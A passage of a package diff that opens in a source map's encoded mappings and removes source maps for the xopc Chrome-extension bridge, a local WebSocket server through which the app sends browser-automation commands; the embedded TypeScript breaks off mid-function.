UAAU,UAAkB,cAAoC;AACvE,QAAO,KAAK,UAAU,aAAa,aAAa,kBAAkB;;AAGpE,SAAS,WAAW,UAAkB,cAAoC;AACxE,QAAO,KAAK,UAAU,UAAU,aAAa,EAAE,aAAa,uBAAuB;;AAGrF,eAAe,WAAW,MAAgC;AACxD,KAAI;AACF,QAAM,KAAK,KAAK;AAChB,SAAO;SACD;AACN,SAAO;;;AAIX,SAAS,WAAW,SAAiB,MAA+B;AAClE,QAAO,IAAI,SAAS,SAAS,WAAW;EACtC,MAAM,QAAQ,MAAM,SAAS,MAAM,EAAE,OAAO;GAAC;GAAU;GAAU;GAAO,EAAE,CAAC;EAC3E,IAAI,SAAS;AACb,QAAM,QAAQ,GAAG,SAAS,SAAiB;AACzC,aAAU,KAAK,UAAU;IACzB;AACF,QAAM,KAAK,SAAS,OAAO;AAC3B,QAAM,KAAK,SAAS,MAAM,WAAW;AACnC,OAAI,SAAS,GAAG;AACd,aAAS;AACT;;GAEF,MAAM,SAAS,SAAS,UAAU,WAAW,aAAa,QAAQ;GAClE,MAAM,SAAS,OAAO,MAAM,GAAG,KAAK,OAAO,MAAM,CAAC,MAAM,GAAG,IAAI,KAAK;AACpE,0BAAO,IAAI,MAAM,GAAG,QAAQ,eAAe,SAAS,SAAS,CAAC;IAC9D;GACF;;AAGJ,eAAe,eAAe,aAAqB,WAAmB,cAA2C;AAC/G,KAAI,aAAa,eAAe,WAAW;AACzC,QAAM,WAAW,OAAO;GAAC;GAAQ;GAAa;GAAM;GAAU,CAAC;AAC/D;;AAGF,KAAI,aAAa,eAAe,QAAQ;AAEtC,MADgB,OAAO,YACpB,CAAC,aAAa,WAAW,KAAK;AACjC;;AAGF,OAAM,IAAI,MAAM,4CAA4C,aAAa,aAAa;;;;;;;;;AAUxF,eAAe,sBACb,KACA,aACA,YACA,QACe;AACf,KAAI,QAAQ,QAAS,OAAM,IAAI,MAAM,oBAAoB;CAEzD,MAAM,WAAW,MAAM,MAAM,KAAK;EAAE,UAAU;EAAU;EAAQ,CAAC;AACjE,KAAI,CAAC,SAAS,MAAM,CAAC,SAAS,KAC5B,OAAM,IAAI,MAAM,0BAA0B,SAAS,SAAS;CAG9D,MAAM,gBAAgB,SAAS,QAAQ,IAAI,iBAAiB;CAC5D,MAAM,aACJ,iBAAiB,OAAO,SAAS,OAAO,cAAc,CAAC,GAAG,OAAO,cAAc,GAAG;CACpF,IAAI,gBAAgB;CAEpB,IAAI,eAAe;CACnB,MAAM,UAAU,QAAQ,UAAU;EAChC,MAAM,MAAM,KAAK,KAAK;AACtB,MAAI,CAAC,SAAS,MAAM,eAAe,IAAK;AACxC,iBAAe;AACV,eAAa;GAChB,OAAO;GACP,SAAS;GACT;GACA;GACA,SACE,cAAc,aAAa,IACvB,KAAK,IAAI,KAAK,KAAK,MAAO,gBAAgB,aAAc,IAAI,CAAC,GAC7D;GACP,CAAC;;AAGJ,QAAO,KAAK;AAWZ,OAAM,SATa,SAAS,QAAQ,SAAS,KASpB,EAAE,IARN,UAAU,EAC7B,UAAU,OAAO,WAAW,UAAU;AACpC,mBAAiB,MAAM;AACvB,UAAQ;AACR,WAAS,MAAM,MAAM;IAExB,CAEkC,EAAE,kBAAkB,YAAY,CAAC;AACpE,QAAO,KAAK;;AAGd,eAAe,eACb,UACA,cACA,YACA,QACiB;CACjB,MAAM,YAAY,UAAU,UAAU,aAAa;CACnD,MAAM,WAAW,WAAW,UAAU,aAAa;AAEnD,KAAI,MAAM,WAAW,SAAS,EAAE;AAC9B,MAAI,KAAK,EAAE,MAAM,UAAU,EAAE,qCAAqC;AAClE,QAAM,aAAa;GAAE,OAAO;GAAS,SAAS;GAAsC,SAAS;GAAK,CAAC;AACnG,SAAO;;AAGT,OAAM,MAAM,UAAU,EAAE,WAAW,MAAM,CAAC;AAC1C,OAAM,aAAa;EAAE,OAAO;EAAY,SAAS;EAAmC,CAAC;CAErF,MAAM,cAAc,gBAAgB,aAAa,MAAM,aAAa;CACpE,MAAM,OAAO,oBAAoB,aAAa;CAC9C,MAAM,iBAAiB,aAAa,eAAe,MAAM,CAAC,aAAa;CACvE,MAAM,WAAW,QAAQ,IAAI,gCAAgC;AAE7D,KAAI,KAAK;EAAE,SAAS,aAAa;EAAiB,UAAU,aAAa;EAAK,EAAE,8BAA8B;CAE9G,IAAI;AACJ,MAAK,MAAM,OAAO,MAAM;AACtB,MAAI,QAAQ,QAAS,OAAM,IAAI,MAAM,oBAAoB;EACzD,MAAM,aAAa,MAAM,QAAQ,KAAK,UAAU,aAAa,CAAC;EAC9D,MAAM,cAAc,KAAK,YAAY,YAAY;AACjD,MAAI;AACF,SAAM,sBAAsB,KAAK,aAAa,YAAY,OAAO;AAEjE,OAAI,gBAAgB;AAClB,QAAI,QAAQ,QAAS,OAAM,IAAI,MAAM,oBAAoB;AACzD,UAAM,aAAa;KAAE,OAAO;KAAa,SAAS;KAA8B,CAAC;IACjF,MAAM,SAAS,MAAM,aAAa,YAAY;AAC9C,QAAI,WAAW,eACb,OAAM,IAAI,MACR,8BAA8B,eAAe,QAAQ,OAAO,+CAC7D;AAEH,QAAI,KAAK,EAAE,aAAa,EAAE,mBAAmB;cACpC,SACT,KAAI,KACF;IAAE,UAAU,aAAa;IAAK,SAAS,aAAa;IAAiB,EACrE,4EACD;OAED,KAAI,KACF;IAAE,UAAU,aAAa;IAAK,SAAS,aAAa;IAAiB,EACrE,sEACD;AAGH,SAAM,aAAa;IAAE,OAAO;IAAc,SAAS;IAAmC,CAAC;AACvF,OAAI,KAAK,EAAE,aAAa,EAAE,qCAAqC;AAC/D,SAAM,GAAG,WAAW;IAAE,WAAW;IAAM,OAAO;IAAM,CAAC,CAAC,YAAY,GAAG;AACrE,SAAM,MAAM,WAAW,EAAE,WAAW,MAAM,CAAC;AAC3C,SAAM,eAAe,aAAa,WAAW,aAAa;AAE1D,OAAI,CAAE,MAAM,WAAW,SAAS,CAC9B,OAAM,IAAI,MAAM,gDAAgD,WAAW;AAG7E,SAAM,eAAe,SAAS;AAC9B,SAAM,qBAAqB,SAAS;AACpC,SAAM,GAAG,YAAY;IAAE,WAAW;IAAM,OAAO;IAAM,CAAC,CAAC,YAAY,GAAG;AAEtE,SAAM,aAAa;IAAE,OAAO;IAAS,SAAS;IAA6B,SAAS;IAAK,CAAC;AAC1F,OAAI,KAAK,EAAE,MAAM,UAAU,EAAE,4BAA4B;AACzD,UAAO;WACA,GAAG;AACV,SAAM,GAAG,YAAY;IAAE,WAAW;IAAM,OAAO;IAAM,CAAC,CAAC,YAAY,GAAG;AACtE,SAAM,GAAG,WAAW;IAAE,WAAW;IAAM,OAAO;IAAM,CAAC,CAAC,YAAY,GAAG;AACrE,mBAAgB,aAAa,QAAQ,IAAI,IAAI,MAAM,OAAO,EAAE,CAAC;AAC7D,OAAI,MAAM;IAAE;IAAK,cAAc,cAAc;IAAS,EAAE,0BAA0B;;;AAItF,OAAM,IAAI,MACR,oCAAoC,aAAa,gBAAgB,OAAO,aAAa,IAAI,IAAI,eAAe,WAAW,oBACxH;;AAKH,eAAe,mBAAmB,MAA+B;CAC/D,MAAM,WAAW,KAAK,KAAK,GAAG;AAE9B,QAAO,KAAK,KAAK,GAAG,UAAU;AAC5B,MAAI;GACF,MAAM,WAAW,MAAM,MAAM,oBAAoB,KAAK,eAAe;AACrE,OAAI,SAAS,IAAI;IACf,MAAM,OAAQ,MAAM,SAAS,MAAM;AACnC,QAAI,KAAK,qBACP,QAAO,KAAK;;UAGV;AAGR,QAAM,IAAI,SAAS,YAAY,WAAW,SAAS,uBAAuB,CAAC;;AAG7E,OAAM,IAAI,MAAM,+CAA+C,mBAAmB,IAAK,YAAY,OAAO;;;AAI5G,eAAe,0BAA0B,MAAsC;AAC7E,KAAI;EACF,MAAM,WAAW,MAAM,MAAM,oBAAoB,KAAK,aAAa,EACjE,QAAQ,YAAY,QAAQ,IAAK,EAClC,CAAC;AACF,MAAI,CAAC,SAAS,GAAI,QAAO;EAEzB,MAAM,QAAO,MADQ,SAAS,MAAM,EACjB,MAAM,MAAM,EAAE,SAAS,UAAU,EAAE,qBAAqB;AAC3E,MAAI,MAAM,qBAAsB,QAAO,KAAK;EAG5C,MAAM,cAAc,MAAM,MAAM,oBAAoB,KAAK,WAAW;AACpE,MAAI,YAAY,IAAI;GAClB,MAAM,UAAW,MAAM,YAAY,MAAM;AACzC,OAAI,QAAQ,qBAAsB,QAAO,QAAQ;;SAE7C;AAGR,QAAO;;AAgBT,SAAS,gCACP,QACA,UAC6D;AAC7D,KAAI,OAAO,YACT,QAAO;EAAE,aAAa,OAAO;EAAa,qBAAqB;EAAM;AAEvE,KAAI,OAAO,kBAAkB;EAC3B,MAAM,cAAc,KAAK,QAAQ,EAAE,qBAAqB,QAAQ,IAAI,GAAG,yBAAyB,GAAG;AACnG,SAAO;GAAE;GAAa,qBAAqB;GAAa;;AAE1D,QAAO;EAAE,aAAa,KAAK,UAAU,YAAY,UAAU;EAAE,qBAAqB;EAAM;;;AAI1F,SAAgB,wCAAwC,SAA6B,EAAE,EAAU;AAC/F,KAAI,OAAO,YAAa,QAAO,OAAO;AAEtC,QAAO,KADU,4BAA4B,OAAO,SAChC,EAAE,YAAY,UAAU;;AAU9C,eAAe,aAAa,MAAgC;AAC1D,KAAI;AAIF,UAAO,MAHgB,MAAM,oBAAoB,KAAK,gBAAgB,EACpE,QAAQ,YAAY,QAAQ,IAAK,EAClC,CAAC,EACc;SACV;AACN,SAAO;;;;AAKX,eAAsB,yBACpB,SAA6B,EAAE,EACK;CACpC,MAAM,WAAW,OAAO,YAAY;CACpC,MAAM,UAAU,OAAO,YAAY,WAAW,6BAA6B;CAE3E,MAAM,EAAE,gBAAgB,gCAAgC,QADvC,4BAA4B,OAAO,SACoB,CAAC;AAEzE,QAAO;EACL,SAAA,MAFoB,aAAa,QAAQ;EAGzC,MAAM;EACN;EACA,kBAAkB,OAAO,qBAAqB;EAC/C;;AAGH,SAAS,iBACP,SACA,aACA,QACA,KACA,cACA,qBAIA;AACA,QAAO;EAAE;EAAS;EAAa;EAAQ;EAAK;EAAc;EAAqB;;;;;AAMjF,eAAsB,mBACpB,SAA6B,EAAE,EACI;CACnC,MAAM,eAAe,gBAAgB;CACrC,MAAM,WAAW,4BAA4B,OAAO,SAAS;CAC7D,MAAM,WAAW,OAAO,YAAY;CACpC,MAAM,gBAAgB,OAAO,iBAAiB;CAG9C,MAAM,mBAAmB,OAAO,YAAY,MAAM,IAAI,KAAA;CACtD,MAAM,WAAW,oBACZ,MAAM,2BAA2B,UAAU,cAAc,iBAAiB,EAAE,WAC7E,MAAM,eAAe,UAAU,cAAc,OAAO,YAAY,OAAO,OAAO;AAClF,KAAI,kBAAkB;AACpB,QAAM,eAAe,SAAS;AAC9B,QAAM,qBAAqB,SAAS;;CAItC,MAAM,UAAU,OAAO,YAAY,WAAW,6BAA6B,MAAM,cAAc;CAC/F,MAAM,wBAAwB,OAAO,0BAA0B;CAC/D,MAAM,EAAE,aAAa,qBAAqB,0BAA0B,gCAClE,QACA,SACD;AAGD,KAAI;MAEE,MAD2B,0BAA0B,QAAQ,EAC3C;AACpB,OAAI,KAAK,EAAE,MAAM,SAAS,EAAE,yCAAyC;GACrE,MAAM,OAAO,iBAAiB,SAAS,aAAa,MAAM,MAAM,MAAM,KAAK;AAC3E,OAAI,sBACF,QAAO;GAET,MAAM,KAAK,MAAM,0BAA0B;GAC3C,MAAM,WAAW,GAAG,YAAa,GAA4D,SAAS;AACtG,OAAI,CAAC,UAAU,eAAgB,OAAM,IAAI,MAAM,kDAAkD;GAEjG,MAAM,QAAQ,kBAAkB;GAIhC,MAAM,gBAAe,OADM,MADD,MAAM,oBAAoB,QAAQ,eAAe,EACpC,MAAM,EACZ,wBAAwB;GAEzD,MAAM,UAAU,MAAM,SAAS,eAAe,aAAa;GAC3D,MAAM,WAAW,QAAQ,UAAU;GACnC,MAAM,UAAU,SAAS,SAAS,IAAI,SAAS,KAAK,MAAM,QAAQ,YAAY;AAG9E,SAAM,QAAQ,cAAc,0BAA0B;AAEtD,UAAO;IAAE;IAAS;IAAS,GAAG;IAAM;;;CAKxC,IAAI,sBAAqC;AACzC,OAAM,MAAM,aAAa,EAAE,WAAW,MAAM,CAAC;CAG7C,MAAM,cAAc,iBAAiB,4BAA4B,OAAO,aAAa,EAAE,CAAC,EAAE;EACxF,UAAU,OAAO;EACjB,QAAQ,OAAO;EACf,UAAU,OAAO;EACjB,qBAAqB,OAAO,uBAAuB,aAAa;EACjE,CAAC;CAEF,MAAM,aAAa;EACjB;EACA,2BAA2B;EAC3B,mBAAmB;EACnB;EACA;EACA,GAAG;EACJ;AAED,KAAI,OAAO,SACT,YAAW,KAAK,iBAAiB;AAInC,KAAID,UAAY,KAAK,SACnB,YAAW,KAAK,sBAAsB;AAGxC,OAAM,OAAO,aAAa;EAAE,OAAO;EAAW,SAAS;EAA2C,CAAC;AACnG,KAAI,OAAO,QAAQ,QAAS,OAAM,IAAI,MAAM,oBAAoB;AAEhE,KAAI,KACF;EAAE;EAAU,MAAM;EAAS,UAAU,CAAC,CAAC,OAAO;EAAU;EAAU,EAClE,yBACD;CAGD,MAAM,QAAQ,MAAM,UAAU,YAAY;EACxC,OAAO;GAAC;GAAU;GAAU;GAAS;EACrC,UAAU;EACX,CAAC;CAEF,IAAI,gBAAiD;CACrD,IAAI,eAAsF;CAC1F,MAAM,gBAAgB,IAAI,SAAgB,UAAU,WAAW;AAC7D,mBAAiB,UAAU;AACzB,0BAAO,IAAI,MAAM,oCAAoC,SAAS,IAAI,MAAM,UAAU,CAAC;;AAErF,kBAAgB,MAAM,WAAW;GAC/B,MAAM,SAAS,SAAS,UAAU,WAAW,aAAa,QAAQ;AAClE,0BAAO,IAAI,MAAM,gDAAgD,OAAO,GAAG,CAAC;;AAE9E,QAAM,KAAK,SAAS,cAAc;AAClC,QAAM,KAAK,QAAQ,aAAa;GAChC;AAEF,KAAI,SACF,OAAM,OAAO;CAIf,IAAI;AACJ,KAAI;AACF,iBAAe,MAAM,QAAQ,KAAK,CAAC,mBAAmB,QAAQ,EAAE,cAAc,CAAC;AAC/E,MAAI,cAAe,OAAM,IAAI,SAAS,cAAc;AACpD,MAAI,aAAc,OAAM,IAAI,QAAQ,aAAa;UAC1C,GAAG;AACV,MAAI,cAAe,OAAM,IAAI,SAAS,cAAc;AACpD,MAAI,aAAc,OAAM,IAAI,QAAQ,aAAa;AACjD,QAAM,MAAM;AACZ,MAAI,oBACF,OAAM,GAAG,qBAAqB;GAAE,WAAW;GAAM,OAAO;GAAM,CAAC,CAAC,YAAY,GAAG;AAEjF,QAAM;;CAIR,IAAI;AACJ,KAAI;AAGF,uBAAoB,OADO,MADD,MAAM,oBAAoB,QAAQ,eAAe,EACpC,MAAM,EACb,wBAAwB;SAClD;AACN,sBAAoB;;CAGtB,MAAM,OAAO,iBACX,SACA,aACA,OACA,MAAM,OAAO,MACb,WAAW,OAAO,OAClB,oBACD;AAED,KAAI,uBAAuB;AACzB,MAAI,KAAK;GAAE,MAAM;GAAS,KAAK,MAAM;GAAK,EAAE,mCAAmC;AAC/E,SAAO;;CAIT,MAAM,KAAK,MAAM,0BAA0B;CAC3C,MAAM,WAAW,GAAG,YAAa,GAA4D,SAAS;AACtG,KAAI,CAAC,UAAU,gBAAgB;AAC7B,QAAM,MAAM;AACZ,QAAM,IAAI,MAAM,kDAAkD;;CAGpE,MAAM,UAAU,MAAM,SAAS,eAAe,kBAAkB;CAChE,MAAM,WAAW,QAAQ,UAAU;CACnC,MAAM,UAAU,SAAS,SAAS,IAAI,SAAS,KAAK,MAAM,QAAQ,YAAY;AAG9E,OAAM,QAAQ,cAAc,0BAA0B;AAEtD,KAAI,KAAK;EAAE,MAAM;EAAS,KAAK,MAAM;EAAK,EAAE,sCAAsC;AAElF,QAAO;EACL;EACA;EACA,GAAG;EACJ;;;;;AAMH,eAAsB,oBACpB,cACA,qBACe;AACf,KAAI,cAAc;AAChB,eAAa,MAAM;AAEnB,QAAM,IAAI,SAAe,YAAY;GACnC,MAAM,QAAQ,WAAW,SAAS,IAAK;AACvC,gBAAa,KAAK,cAAc;AAC9B,iBAAa,MAAM;AACnB,aAAS;KACT;IACF;;AAEJ,KAAI,qBAAqB;AACvB,QAAM,GAAG,qBAAqB;GAAE,WAAW;GAAM,OAAO;GAAM,CAAC,CAAC,YAAY,GAAG;AAC/E,MAAI,MAAM,EAAE,KAAK,qBAAqB,EAAE,+BAA+B;;;;;;;AAyB3E,eAAsB,oBACpB,SAA6B,EAAE,EACI;CACnC,MAAM,SAAS,MAAM,mBAAmB;EACtC,UAAU;EACV,kBAAkB;EAClB,UAAU;EACV,UAAU,OAAO;EACjB,YAAY,OAAO;EACnB,YAAY,OAAO;EACnB,QAAQ,OAAO;EAChB,CAAC;AACF,OAAM,OAAO,SAAS,OAAO,CAAC,YAAY,GAAG;AAC7C,OAAM,oBAAoB,OAAO,cAAc,OAAO,oBAAoB;AAC1E,QAAO,mBAAmB;EAAE,UAAU,OAAO;EAAU,YAAY,OAAO;EAAY,CAAC;;;AAIzF,eAAsB,mBACpB,SAA6B,EAAE,EACI;CACnC,MAAM,eAAe,gBAAgB;CACrC,MAAM,WAAW,4BAA4B,OAAO,SAAS;CAC7D,MAAM,EAAE,UAAU,WAAW,qBAAqB,MAAM,2BACtD,UACA,cACA,OAAO,WACR;CACD,MAAM,CAAC,SAAS,GAAG,aAAa,oBAAoB,aAAa;AAEjE,QAAO;EACL;EACA,SAAS,YAAY,aAAa,kBAAkB;EACpD,YAAY,YAAY,WAAW;EACnC,UAAU,aAAa;EACvB;EACA,gBAAgB,aAAa;EAC7B,aAAa,WAAW;EACxB,cAAc;EACd;EACD"}

package/dist/src/browser/providers/extension-ws-acquire.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"extension-ws-acquire.js","names":[],"sources":["../../../../src/browser/providers/extension-ws-acquire.ts"],"sourcesContent":["/**\n * Single shared HTTP + WebSocket listener for the Chrome extension bridge.\n * Gateway and BrowserManager both need the server; only one process may bind a port.\n */\n\nimport type { ExtensionBrowserProvider, ExtensionProviderConfig } from './extension.js';\n\nconst DEFAULT_PORT = 19820;\nconst DEFAULT_HOST = '127.0.0.1';\nconst DEFAULT_CONNECTION_TIMEOUT = 30_000;\nconst DEFAULT_COMMAND_TIMEOUT = 30_000;\n\nlet mutexTail: Promise<void> = Promise.resolve();\n\nfunction withExclusive<T>(fn: () => Promise<T>): Promise<T> {\n  const prev = mutexTail;\n  let unlock!: () => void;\n  mutexTail = new Promise<void>((resolve) => {\n    unlock = resolve;\n  });\n  return prev.then(() => fn()).finally(unlock);\n}\n\ntype ServerState = {\n  key: string;\n  provider: ExtensionBrowserProvider;\n  refCount: number;\n};\n\nlet state: ServerState | null = null;\n\nexport type ExtensionBrowserServerSnapshot = {\n  active: boolean;\n  refCount: number;\n  key: string | null;\n};\n\nexport function getExtensionBrowserServerSnapshot(): ExtensionBrowserServerSnapshot {\n  if (!state) {\n    return { active: false, refCount: 0, key: null };\n  }\n  return { active: true, refCount: state.refCount, key: state.key };\n}\n\nexport function getExtensionBrowserProvider(): ExtensionBrowserProvider | null {\n  return state?.provider ?? null;\n}\n\n/** Shut down the shared listener regardless of remaining ref counts (settings UI stop). */\nexport async function forceShutdownExtensionBrowserServer(): Promise<boolean> {\n  return withExclusive(async () => {\n    if (!state) return false;\n    await state.provider.shutdown();\n    state = null;\n    return true;\n  });\n}\n\nfunction normalizeConfig(config?: ExtensionProviderConfig): Required<ExtensionProviderConfig> {\n  return {\n    port: config?.port ?? DEFAULT_PORT,\n    host: config?.host ?? DEFAULT_HOST,\n    connectionTimeout: config?.connectionTimeout ?? DEFAULT_CONNECTION_TIMEOUT,\n    commandTimeout: config?.commandTimeout ?? DEFAULT_COMMAND_TIMEOUT,\n  };\n}\n\nfunction serverKey(c: Required<ExtensionProviderConfig>): string {\n  return `${c.host}:${c.port}`;\n}\n\n/**\n * Increment ref count and return the shared provider plus a one-shot release.\n * First acquire starts the listener; further acquires reuse it (same host:port).\n */\nexport function acquireExtensionBrowserServer(config?: ExtensionProviderConfig): Promise<{\n  provider: ExtensionBrowserProvider;\n  release: () => Promise<void>;\n}> {\n  return withExclusive(async () => {\n    const full = normalizeConfig(config);\n    const key = serverKey(full);\n\n    if (state && state.key !== key) {\n      throw new Error(\n        `Chrome extension bridge is already listening on ${state.key}; stop it before using ${key}.`,\n      );\n    }\n\n    if (!state) {\n      const { ExtensionBrowserProvider } = await import('./extension.js');\n      const provider = new ExtensionBrowserProvider(full);\n      await provider.start();\n      state = { key, provider, refCount: 0 };\n    }\n\n    state.refCount++;\n    let released = false;\n    const release = async () => {\n      await withExclusive(async () => {\n        if (released || !state) return;\n        released = true;\n        state.refCount--;\n        if (state.refCount <= 0) {\n          await state.provider.shutdown();\n          state = null;\n        }\n      });\n    };\n\n    return { provider: state.provider, release };\n  });\n}\n"],"mappings":";AAOA,MAAM,eAAe;AACrB,MAAM,eAAe;AACrB,MAAM,6BAA6B;AACnC,MAAM,0BAA0B;AAEhC,IAAI,YAA2B,QAAQ,SAAS;AAEhD,SAAS,cAAiB,IAAkC;CAC1D,MAAM,OAAO;CACb,IAAI;AACJ,aAAY,IAAI,SAAe,YAAY;AACzC,WAAS;GACT;AACF,QAAO,KAAK,WAAW,IAAI,CAAC,CAAC,QAAQ,OAAO;;AAS9C,IAAI,QAA4B;AAQhC,SAAgB,oCAAoE;AAClF,KAAI,CAAC,MACH,QAAO;EAAE,QAAQ;EAAO,UAAU;EAAG,KAAK;EAAM;AAElD,QAAO;EAAE,QAAQ;EAAM,UAAU,MAAM;EAAU,KAAK,MAAM;EAAK;;AAGnE,SAAgB,8BAA+D;AAC7E,QAAO,OAAO,YAAY;;;AAI5B,eAAsB,sCAAwD;AAC5E,QAAO,cAAc,YAAY;AAC/B,MAAI,CAAC,MAAO,QAAO;AACnB,QAAM,MAAM,SAAS,UAAU;AAC/B,UAAQ;AACR,SAAO;GACP;;AAGJ,SAAS,gBAAgB,QAAqE;AAC5F,QAAO;EACL,MAAM,QAAQ,QAAQ;EACtB,MAAM,QAAQ,QAAQ;EACtB,mBAAmB,QAAQ,qBAAqB;EAChD,gBAAgB,QAAQ,kBAAkB;EAC3C;;AAGH,SAAS,UAAU,GAA8C;AAC/D,QAAO,GAAG,EAAE,KAAK,GAAG,EAAE;;;;;;AAOxB,SAAgB,8BAA8B,QAG3C;AACD,QAAO,cAAc,YAAY;EAC/B,MAAM,OAAO,gBAAgB,OAAO;EACpC,MAAM,MAAM,UAAU,KAAK;AAE3B,MAAI,SAAS,MAAM,QAAQ,IACzB,OAAM,IAAI,MACR,mDAAmD,MAAM,IAAI,yBAAyB,IAAI,GAC3F;AAGH,MAAI,CAAC,OAAO;GACV,MAAM,EAAE,6BAA6B,MAAM,OAAO;GAClD,MAAM,WAAW,IAAI,yBAAyB,KAAK;AACnD,SAAM,SAAS,OAAO;AACtB,WAAQ;IAAE;IAAK;IAAU,UAAU;IAAG;;AAGxC,QAAM;EACN,IAAI,WAAW;EACf,MAAM,UAAU,YAAY;AAC1B,SAAM,cAAc,YAAY;AAC9B,QAAI,YAAY,CAAC,MAAO;AACxB,eAAW;AACX,UAAM;AACN,QAAI,MAAM,YAAY,GAAG;AACvB,WAAM,MAAM,SAAS,UAAU;AAC/B,aAAQ;;KAEV;;AAGJ,SAAO;GAAE,UAAU,MAAM;GAAU;GAAS;GAC5C"}

package/dist/src/browser/providers/extension.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"extension.js","names":[],"sources":["../../../../src/browser/providers/extension.ts"],"sourcesContent":["/**\n * Extension browser provider — connects to the xopc Chrome Extension via WebSocket.\n *\n * The xopc process starts a WebSocket server; the Chrome Extension connects as a client.\n * Commands are sent over the WS connection and results are returned asynchronously.\n */\n\nimport { createLogger } from '../../utils/logger.js';\n\nconst log = createLogger('ExtensionProvider');\n\n// ── Protocol types (mirrored from packages/browser-ext/src/protocol.ts) ──\n\nexport type ExtensionAction =\n  | 'open' | 'navigate' | 'reload' | 'back' | 'forward' | 'get_url' | 'get_title'\n  | 'state' | 'snapshot' | 'screenshot' | 'content'\n  | 'evaluate'\n  | 'click' | 'type' | 'scroll' | 'wait'\n  | 'query_selector' | 'query_selector_all' | 'wait_for_selector'\n  | 'mouse_move' | 'mouse_click' | 'mouse_down' | 'mouse_up' | 'mouse_wheel'\n  | 'keys' | 'keyboard_type' | 'keyboard_down' | 'keyboard_up' | 'keyboard_insert_text'\n  | 'get_bounding_box' | 'get_element_text' | 'get_element_attribute'\n  | 'get_elements_count' | 'set_input_files' | 'scroll_into_view'\n  | 'set_viewport_size' | 'get_viewport_size'\n  | 'network_start' | 'network_events' | 'network_stop'\n  | 'dialog'\n  | 'get_cookies' | 'set_cookies' | 'clear_cookies'\n  | 'close' | 'new_tab' | 'list_tabs'\n  | 'cdp'\n  | 'ping';\n\nexport interface ExtensionCommand {\n  id: string;\n  action: ExtensionAction;\n  tabId?: number;\n  args?: Record<string, unknown>;\n  timeout?: number;\n}\n\nexport interface ExtensionResult {\n  id: string;\n  ok: boolean;\n  data?: unknown;\n  error?: string;\n  durationMs?: number;\n}\n\n// ── Configuration ────────────────────────────────────────────────────\n\nexport interface ExtensionProviderConfig {\n  /** WebSocket server port. Default: 19820. */\n  port?: number;\n  /** Host to bind. Default: 127.0.0.1. */\n  host?: string;\n  /** Timeout waiting for extension connection (ms). Default: 30000. */\n  connectionTimeout?: number;\n  /** Default command timeout (ms). Default: 30000. */\n  commandTimeout?: number;\n}\n\nconst DEFAULT_PORT = 19820;\nconst DEFAULT_HOST = '127.0.0.1';\nconst DEFAULT_CONNECTION_TIMEOUT = 30_000;\nconst DEFAULT_COMMAND_TIMEOUT = 30_000;\n\n// ── Provider ─────────────────────────────────────────────────────────\n\ninterface PendingRequest {\n  resolve: (result: ExtensionResult) => void;\n  reject: (error: Error) => void;\n  timer: ReturnType<typeof setTimeout>;\n}\n\n/**\n * Manages a WebSocket server that the Chrome Extension connects to.\n * Sends commands and receives results over the connection.\n */\nexport class ExtensionBrowserProvider {\n  readonly name = 'extension';\n\n  private server: import('http').Server | null = null;\n  private wss: unknown = null; // WebSocketServer instance\n  private clientWs: unknown = null; // connected client WebSocket\n  private pending = new Map<string, PendingRequest>();\n  private commandCounter = 0;\n  private connected = false;\n  private readonly config: Required<ExtensionProviderConfig>;\n  private connectionWaiters: Array<{ resolve: () => void; reject: (e: Error) => void }> = [];\n\n  constructor(config?: ExtensionProviderConfig) {\n    this.config = {\n      port: config?.port ?? DEFAULT_PORT,\n      host: config?.host ?? DEFAULT_HOST,\n      connectionTimeout: config?.connectionTimeout ?? DEFAULT_CONNECTION_TIMEOUT,\n      commandTimeout: config?.commandTimeout ?? DEFAULT_COMMAND_TIMEOUT,\n    };\n  }\n\n  /** Start the WebSocket server and wait for the extension to connect. */\n  async start(): Promise<void> {\n    if (this.server) return;\n\n    // Handle CJS/ESM interop: tsx wraps CJS modules so WebSocketServer may need `.default`\n    const wsModule: Record<string, unknown> = await import('ws') as never;\n    let WssClass = wsModule.WebSocketServer;\n    if (typeof WssClass !== 'function') {\n      const def = wsModule.default as Record<string, unknown> | undefined;\n      WssClass = def?.WebSocketServer ?? def;\n    }\n    if (typeof WssClass !== 'function') {\n      throw new Error('Failed to resolve WebSocketServer from \"ws\" package');\n    }\n    const WebSocketServer = WssClass as unknown as new (opts: Record<string, unknown>) => unknown;\n    const http = await import('node:http');\n\n    this.server = http.createServer((_req, res) => {\n      res.writeHead(200, { 'Content-Type': 'application/json' });\n      res.end(JSON.stringify({ ok: true, connected: this.connected }));\n    });\n\n    this.wss = new WebSocketServer({ server: this.server, path: '/browser-ext' });\n\n    (this.wss as { on: Function }).on('connection', (ws: unknown) => {\n      log.info('Chrome Extension connected');\n      this.clientWs = ws;\n      this.connected = true;\n\n      // Resolve any pending connection waiters\n      for (const waiter of this.connectionWaiters) {\n        waiter.resolve();\n      }\n      this.connectionWaiters = [];\n\n      (ws as { on: Function }).on('message', (data: Buffer | string) => {\n        this._handleMessage(data.toString());\n      });\n\n      (ws as { on: Function }).on('close', () => {\n        log.warn('Chrome Extension disconnected');\n        this.clientWs = null;\n        this.connected = false;\n        // Reject all pending requests\n        for (const [id, req] of this.pending) {\n          clearTimeout(req.timer);\n          req.reject(new Error('Extension disconnected'));\n          this.pending.delete(id);\n        }\n      });\n    });\n\n    const wssEmitter = this.wss as import('node:events').EventEmitter;\n\n    await new Promise<void>((resolve, reject) => {\n      let settled = false;\n\n      const disposeFailedStart = async () => {\n        if (this.wss) {\n          try {\n            (this.wss as { close: (cb?: () => void) => void }).close();\n          } catch {\n            /* */\n          }\n          this.wss = null;\n        }\n        if (this.server) {\n          await new Promise<void>((r) => {\n            this.server!.close(() => r());\n          });\n          this.server = null;\n        }\n      };\n\n      const onStartError = (err: Error) => {\n        if (settled) return;\n        settled = true;\n        this.server!.removeListener('error', onStartError);\n        wssEmitter.removeListener('error', onStartError);\n        void disposeFailedStart().then(() => reject(err));\n      };\n\n      const onListening = () => {\n        if (settled) return;\n        settled = true;\n        this.server!.removeListener('error', onStartError);\n        wssEmitter.removeListener('error', onStartError);\n\n        log.info({ port: this.config.port, host: this.config.host }, 'Extension WS server started');\n\n        const onRuntimeError = (err: Error) => {\n          log.error({ err }, 'Extension WS bridge runtime error');\n        };\n        this.server!.on('error', onRuntimeError);\n        wssEmitter.on('error', onRuntimeError);\n\n        resolve();\n      };\n\n      // `listen` failures may surface on `http.Server` or on `ws` WebSocketServer; only\n      // attaching `server.on('error')` leaves `error` on `wss` unhandled (process crash).\n      this.server!.on('error', onStartError);\n      